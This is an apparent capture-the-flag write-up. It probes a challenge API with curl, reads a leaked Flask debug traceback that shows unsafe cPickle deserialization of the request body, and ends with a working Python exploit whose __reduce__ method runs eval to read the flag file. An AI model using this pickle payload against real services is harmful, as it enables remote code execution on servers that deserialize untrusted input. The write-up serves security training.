Skip to content
A rundown, informally known as a pickle or the hotbox, is a situation in the game of baseball that occurs when the baserunner is stranded between two bases, also known as no-man's land, and is in jeopardy of being tagged out." ... if you stopped in the first part of the definition you are one of ours.
  • Accessing the website, all we get is
APIv2 @ 2020 - You think you got methods for this?
  • Ok, so we know it’s an API and hints us to use ‘methods’. Obviously, this is a hint to HTTP methods.

  • Using CURL, I’ve tried different methods and saved each of them in a .html file.

curl -X PUT http://34.89.210.219:31229/ > put.html
curl -X POST http://34.89.210.219:31229/ > post.html

NOTE: Tried PUT and POST only because they’re the most common.

  • Then, I’ve started a python webserver and opened each of the files in browser.

  • For PUT, we get

Method Not Allowed
The method is not allowed for the requested URL.
  • However, for POST, we get the following page
# EOFError
EOFError
## Traceback _(most recent call last)_
- #### File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line _2464_, in `__call__`
def __call__(self, environ, start_response):
"""The WSGI server calls the Flask application object as the
WSGI application. This calls :meth:`wsgi_app` which can be
wrapped to applying middleware."""
return self.wsgi_app(environ, start_response)
def __repr__(self):
return "<%s %r>" % (self.__class__.__name__, self.name)
- #### File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line _2450_, in `wsgi_app`
try:
ctx.push()
response = self.full_dispatch_request()
except Exception as e:
error = e
response = self.handle_exception(e)
except: # noqa: B001
error = sys.exc_info()[1]
raise
return response(environ, start_response)
finally:
- #### File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line _1867_, in `handle_exception`
# if we want to repropagate the exception, we can attempt to
# raise it with the whole traceback in case we can do that
# (the function was actually called from the except part)
# otherwise, we just raise the error again
if exc_value is e:
reraise(exc_type, exc_value, tb)
else:
raise e
self.log_exception((exc_type, exc_value, tb))
server_error = InternalServerError()
- #### File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line _2447_, in `wsgi_app`
ctx = self.request_context(environ)
error = None
try:
try:
ctx.push()
response = self.full_dispatch_request()
except Exception as e:
error = e
response = self.handle_exception(e)
except: # noqa: B001
error = sys.exc_info()[1]
- #### File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line _1952_, in `full_dispatch_request`
request_started.send(self)
rv = self.preprocess_request()
if rv is None:
rv = self.dispatch_request()
except Exception as e:
rv = self.handle_user_exception(e)
return self.finalize_request(rv)
def finalize_request(self, rv, from_error_handler=False):
"""Given the return value from a view function this finalizes
the request by converting it into a response and invoking the
- #### File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line _1821_, in `handle_user_exception`
return self.handle_http_exception(e)
handler = self._find_error_handler(e)
if handler is None:
reraise(exc_type, exc_value, tb)
return handler(e)
def handle_exception(self, e):
"""Handle an exception that did not have an error handler
associated with it, or that was raised from an error handler.
- #### File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line _1950_, in `full_dispatch_request`
self.try_trigger_before_first_request_functions()
try:
request_started.send(self)
rv = self.preprocess_request()
if rv is None:
rv = self.dispatch_request()
except Exception as e:
rv = self.handle_user_exception(e)
return self.finalize_request(rv)
def finalize_request(self, rv, from_error_handler=False):
- #### File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line _1936_, in `dispatch_request`
getattr(rule, "provide_automatic_options", False)
and req.method == "OPTIONS"
):
return self.make_default_options_response()
# otherwise dispatch to the handler for that endpoint
return self.view_functions[rule.endpoint](**req.view_args)
def full_dispatch_request(self):
"""Dispatches the request and on top of that performs request
pre and postprocessing as well as HTTP exception catching and
error handling.
- #### File "/home/ctf/app.py", line _20_, in `newpost`
@app.route("/", methods=["POST"])
def newpost():
picklestr = base64.urlsafe_b64decode(request.data)
if " " in picklestr:
return "The ' ' is blacklisted!"
postObj = cPickle.loads(picklestr)
return ""
if __name__ == "__main__":
app.run(host = "0.0.0.0", debug=True)
> EOFError
This is the Copy/Paste friendly version of the traceback. You can also paste this traceback into a [gist](https://gist.github.com/):
Traceback (most recent call last): File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2464, in __call__ return self.wsgi_app(environ, start_response) File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2450, in wsgi_app response = self.handle_exception(e) File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1867, in handle_exception reraise(exc_type, exc_value, tb) File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 2447, in wsgi_app response = self.full_dispatch_request() File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1952, in full_dispatch_request rv = self.handle_user_exception(e) File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1821, in handle_user_exception reraise(exc_type, exc_value, tb) File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1950, in full_dispatch_request rv = self.dispatch_request() File "/usr/local/lib/python2.7/dist-packages/flask/app.py", line 1936, in dispatch_request return self.view_functions[rule.endpoint](**req.view_args) File "/home/ctf/app.py", line 20, in newpost postObj = cPickle.loads(picklestr) EOFError
The debugger caught an exception in your WSGI application. You can now look at the traceback which led to the error. If you enable JavaScript you can also use additional features such as code execution (if the evalex feature is enabled), automatic pasting of the exceptions and much more.
Brought to you by **DON'T PANIC**, your friendly Werkzeug powered traceback interpreter.
### Console Locked
The console is locked and needs to be unlocked by entering the PIN. You can find the PIN printed out on the standard output of your shell that runs the server.
PIN:
  • At the bottom, we’re asked to introduce a PIN to unlock the console.

  • This clearly indicates that the webiste is running Flask.

  • The following block of code caught my attention

@app.route("/", methods=["POST"])
def newpost():
picklestr = base64.urlsafe_b64decode(request.data)
if " " in picklestr:
return "The ' ' is blacklisted!"
postObj = cPickle.loads(picklestr)
return ""
  • It verifies the HTTP requests to see if they contain any space; if not, they get deserialized.

  • We can grab the flag using the script below, which abuses the behaviour implemented in the app.

import _pickle as cPickle
import base64
import os
import string
import requests
import time
class Exploit(object):
def __reduce__(self):
return (eval, ('eval(open("flag","r").read())', ))
def sendPayload(p):
newp = base64.urlsafe_b64encode(p).decode()
headers = {'Content-Type': 'application/'}
r = requests.post("http://35.246.180.101:30994/",headers=headers,data=newp)
return r.text
payload_dec = cPickle.dumps(Exploit(), protocol=2)
print("ctf{" + sendPayload(payload_dec).split("ctf{")[1].split("}")[0] + "}")